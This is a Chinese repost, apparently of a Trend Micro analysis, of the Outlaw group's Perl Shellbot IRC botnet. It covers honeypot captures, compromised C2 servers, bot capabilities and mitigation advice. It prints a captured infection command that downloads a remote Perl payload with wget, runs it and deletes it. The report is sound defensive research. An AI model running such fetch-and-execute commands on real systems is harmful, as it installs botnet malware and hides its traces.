近期,研究人员发现一个黑客组织的攻击活动Outlaw,源于其使用的攻击工具haiduc(罗马尼亚语)的英文翻译。Outlaw使用了基于Perl Shellbot构建的IRC bot。该组织利用了一个物联网设备和Linux服务器上常见的注入漏洞来进行传播。深入研究发现该威胁影响Windows环境和Android设备。

攻击者在最近的一次攻击活动中入侵了一个日本艺术机构的FTP服务器和孟加拉国政府的有漏洞的Dovecot邮件服务器网站。然后用这两个被入侵的服务器,将其链接到一个高可用的簇来作为IRC bouncer,用做新出现的僵尸网络的C2。

研究人员除了发现攻击者在第一个服务器上的初始漏洞外,还找到了进行DoS和SHH暴力破解攻击的黑客工具集的配置文件——class files。这说明攻击者构建了一个可用于网络犯罪的僵尸网络。

研究人员的蜜罐系统发现了该攻击活动的许多踪迹,下面是捕获的源和注入的命令:

表1. 识别出的命令


Source表示尝试注入命令的源IP地址
Command表示蜜罐拦截到的命令

研究人员检测到的受感染的国家有:

  • 中国台湾
  • 日本
  • 美国
  • 印度
  • 大不列颠联合王国
  • 以色列
  • 科威特
  • 巴西
  • 哥伦比亚
  • 德国
  • 瑞士
  • 泰国
  • 保加利亚
  • 希腊
  • 意大利
  • 马来西亚

该僵尸网络本身就是基于一个用Perl脚本语言编写的Shellbot变种。该僵尸网络之前是通过利用Shellshock漏洞进行传播的,因此命名为Shellbot。这次,攻击者主要是通过之前的暴力破解或者入侵主机来进行传播。
为了进一步分析威胁行为,研究人员使用了如下配置的蜜罐主机:

  • Host #1: Ubuntu 16.04主机,开启了Splunk forwarder
  • Host #2: 安装了Dovecot 邮件服务器的Ubuntu 16.04服务器
  • Host #3: 运行Android 7的安卓设备

然后监控C2流量并获取了IRC信道信息。首次感染后,IRC信道中就有142个主机。

如何感染系统

首先在IoT设备或服务器上运行一个命令。比如命令uname -a;cd /tmp;wget hxxp://54[.]37[.]72[.]170/n3;perl n3;rm -rf n3*就是用uname -a来验证主机从命令行接口接收的命令。命令成功执行后,工作目录就会修改为/tmp。然后用perl翻译器运行下载的payload n3文件。最后一步是移除n3文件,这样就在被攻击的系统中找不到活动痕迹了。

图1. Payload n3文件

僵尸主机安装后,就开始通过IRC与C2服务器通信。

图2. 僵尸主机以/usr/sbin/httpd运行

图3. 到C2服务器luci[.]madweb[.]ro的出流量

到C2的连接尝试在感染后就出现了,并且是持续的。如果连接断开,就重新连接。这一阶段,重启受感染的机器并不会对系统做出的变化有任何影响。

为了更好地理解C2通信的动态性,研究人员获取了受感染主机的流量。重构的TCP流显示下载了恶意文件,以及之后的C2服务器的通信。

获取的网络流量

从受感染的主机和C2服务器中获取的TCP流中可以看出下载和运行了n3文件。

图4. 受感染的主机和C2服务器之间的网络流量的TCP流

图5. 感染后的TCP通信流

感染后,通信流量说明恶意软件会加入僵尸主机的IRC信道,并分配给昵称和服务器配置信息。修改DNS设置能够确认有真实的攻击目标参与其中。同时还有处理器核数和处理器的类型。同时通过命令cat /etc/passwd/泄露了主机上运行着Splunk,这是为了通过管理员目标设备正在被监控或安装了反病毒软件。

然后用PING/PONG通信来保持通信信道开启。IRC服务器会发送PING消息,需要PONG消息响应来预防连接断开。

图6. 单独的消息会发送给IRC管理员

运行后会分配一个硬编码的进程名Shellbot。这可以帮助隐藏运行的僵尸主机,以防被系统管理员、安全监控和研究人员发现。

图7. Shellbot配置文件

Shellbot在目标系统上运行后,IRC信道的管理员会发送不同的命令给被感染的主机。列表中含有执行端口扫描、DDOS、文件下载、信息获取、发送操作系统信息和运行进程列表的命令。

IRC命令可以调用的脚本函数

图8. 含有可用命令列表的script header

IRC相关的函数使用了join, part, uejoin, op, deop, voice, devoice, nick, msg, quit, uaw, die等。DDOS相关的活动会影响UDP/TCP/HTTP流量。

如果触发了端口扫描,僵尸主机会扫描以下端口:

表3. 僵尸主机扫描的端口

网络通信样本

网络通信看似是XMR rig挖矿监控工具的输出。
工具的代码为:

root@ubuntu:~$ cat speed.sh
i=1
result=`docker ps -q | wc -l`
while [ “$i” -le “$result” ]
do
echo “miner numa $i speed”
docker logs minernuma$i | tail -8 | grep speed >> /tmp/minernuma$i.tmp
tail -1 /tmp/minernuma$i.tmp
rm /tmp/minernuma$i.tmp
i=$(($i + 1))
done

重构的TCP流

受感染的主机会被分配一个昵称,格式为sEx加随机生成的数字。本例中主机的昵称为sEx-3635

图9. 含有主机昵称的TCP流

所有受感染的主机以PING/PONG流量格式显示了基本的C2连接,也提供了系统中运行IRC僵尸主机的用户sd-pam进程的可疑的类crontab记录、进程id等。

下面是主机的信息交换,可能是僵尸主机的新加入者或另一个目标。本例子中受感染的主机是:

图10. 主机信息交换TCP流

图11. 与被入侵的服务器相关联的身份

在流量监控期间,IRC通信信道中出现了luci, lucian, dragos, mazy, hydra, poseidon等许多身份。
研究人员发现这些身份是被入侵的日本服务器的用户名。该服务器好像非常重要,因为用来传播早期的N3-Shellbot。Dropper n3文件的传播主要是在第二个C2服务器上完成的。与该服务器的通信如下图:

图12. Dragos SSH login

使用注入蜜罐系统的命令中的凭证,研究人员成功下载了攻击者使用的文件。文件的内容会在服务器上修改。从时间上看,主要发生在中欧时间的白天,而且是工作日。从未在晚上和周末出现过攻击活动。

预防

Outlaw组织在攻击活动中使用了IRC僵尸主机。这并不是一种新的威胁,因为代码在网上是公开的,所有可以用来构建一个这样的僵尸主机。其中的一个攻击活动中,目标主要是大公司,因此采用一些安全措施来预防这种潜在的攻击是非常必要的:

  • 合理设置SSH登陆进程。不要将其公开,除非对公司的基础设施非常必要。许多网络设备都是默认用默认凭证来运行SSH服务的,交换机、防火墙这样的网络基础设施正是这样的。
  • 监控CLI使用的命令。
  • 监控端口53上的非DNS流量。
  • 检测新账户的创建,定期确认所有创建的账户都只用作工作。
  • 尽可能限制FTP的使用。不仅明文传输密码,还可以在本地系统中加载利用文件。除非新创建的文件在系统中预设的位置,否则都要认为文件是可疑的。
  • 重新考虑使用Dovecot邮件服务器,因为已经发现存在缓冲区溢出漏洞了。

https://blog.trendmicro.com/trendlabs-security-intelligence/perl-based-shellbot-looks-to-target-organizations-via-cc/

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖